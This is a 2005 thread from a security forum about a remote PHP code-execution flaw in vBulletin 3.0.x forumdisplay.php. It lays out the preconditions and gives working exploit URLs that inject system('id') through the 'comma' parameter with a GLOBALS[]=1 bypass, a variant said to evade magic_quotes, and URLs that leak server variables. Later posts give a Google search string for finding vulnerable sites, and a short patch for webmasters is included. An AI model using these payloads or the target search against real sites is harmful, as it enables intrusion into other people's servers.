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SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater Unsafe eval() in TestRail CLI IT Security and Insecurity Portal www.waraxe.us Forum Index -> All other software -> Vbullettin 3.0.x forumdisplay.php PHP command Execution View previous topic :: View next topic Vbullettin 3.0.x forumdisplay.php PHP command Execution Posted: Wed Feb 16, 2005 8:41 am Zeelock Active user Joined: Jan 27, 2005 Posts: 29 Location: Where stars come out at night AL3NDALEED Founded that within the following conditions: Quote: * 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options. * 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest * 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum. * 4th condition : magic_quotes_gpc must be OFF SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in init.php by secret array GLOBALS[]=1 )) Is it possible to inject code as in the following example: http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')." Anyway the forth condition can be bypassed like this (nesting formulas - Credit to pokley aka pokleyzz - Not Tested) http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma={$func($comm)}&func=system&comm=id Or evaluating the value of variables: forumdisplay.php?GLOBALS[]=1&f=2&comma=$admincpdir forumdisplay.php?GLOBALS[]=1&f=2&comma=$dbname So if you are a web master: Solutions: ---------------- * Disable showforumusers in vbulletin options . * add the next line before if ($vboptions['showforumusers']) $comma = ''; Last edited by Zeelock on Thu Feb 17, 2005 8:44 am; edited 2 times in total _________________ If it seems to be impossible, just step up your level! j Posted: Wed Feb 16, 2005 10:38 pm SteX Advanced user Joined: May 18, 2004 Posts: 181 Location: Serbia http://www.milw0rm.com/id.php?id=820 _________________ We would change the world, but God won't give us the sourcecode... ....Watch the master. Follow the master. Be the master.... ------------------------------------------------------- Yep, is the same Posted: Thu Feb 17, 2005 10:06 am Zeelock Active user Joined: Jan 27, 2005 Posts: 29 Location: Where stars come out at night As you can see is just a GET req the one by AL3NDALEEB. The problem lays in Magic Quotes. These protect the innocent against this exploit. _________________ If it seems to be impossible, just step up your level! PoC Posted: Thu Feb 17, 2005 11:48 am pokleyzz Regular user Joined: Feb 17, 2005 Posts: 6 http://www.securityfocus.com/archive/attachment/390667/2/ Great Pokleyzz, In tune on Time Posted: Thu Feb 17, 2005 12:57 pm Zeelock Active user Joined: Jan 27, 2005 Posts: 29 Location: Where stars come out at night Always in time! I'll test it this evening in my dummy localhost VBullettin Site _________________ If it seems to be impossible, just step up your level! Posted: Thu Feb 17, 2005 8:28 pm LINUX Moderator Joined: May 24, 2004 Posts: 404 Location: Caiman Is very hard find servers they have these functions in my opinion only 15 % all VB (3.0.x-3.04) installed in all world is vulnerable Code: * 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options. * 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest * 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum. Posted: Thu Feb 17, 2005 10:53 pm pokleyzz Regular user Joined: Feb 17, 2005 Posts: 6 Quote: * 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options. * 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest * 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum. searching something like this `inurl:"forumdisplay" +"Currently Active Users" +"vBulletin Version 3.0.3"` in google will help find one. You can create the third condition by login as registered user and view the forum. Posted: Fri Feb 18, 2005 9:41 am Alkaen Regular user Joined: Feb 16, 2005 Posts: 5 Location: Bahrain - Aldair Thanx dude Vbullettin 3.0.x forumdisplay.php PHP command Execution www.waraxe.us Forum Index -> All other software You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum All times are GMT Page 1 of 1 All Posts1 Day7 Days2 Weeks1 Month3 Months6 Months1 YearOldest FirstNewest First Select a forumSecurity Research by waraxe----------------General discussionHow to fixMetasploit relatedHash cracking requests----------------MD5 hashesAll other hashesHash related informationhttp://www.waraxe.us portal----------------SuggestionsCooperation proposalsSecurity bugs and issues in general----------------Newbies cornerSql injectionCross-site scripting aka XSSRemote file inclusionFull path disclosureShell commands injectionPhishing and Social EngineeringAll other security holesVarious software----------------PhpNukePostNukePhpBBXMB forumvBulletin BoardInvision Power Boarde107MamboJoomlaXOOPSM$ WindowsLinux worldAll other softwareCoppermine Photo GalleryProgramming languages----------------PhpMySqlPerlJavaJavascriptC and C++Visual BasicBorland Delphi and PascalPythonHTML and XMLAssemblerReverse engineering----------------Newbies cornerDisassemblingPHP script decode requestsMiscellaneous stuff----------------Future of the ITNanotechnologyFun cornerLinksTry2hack sitesProxy databaseDirect Downloads----------------ToolsTutorialsWordlistsRecycle Bin----------------Removed messagesOutdated posts Powered by phpBB © 2001-2008 phpBB Group

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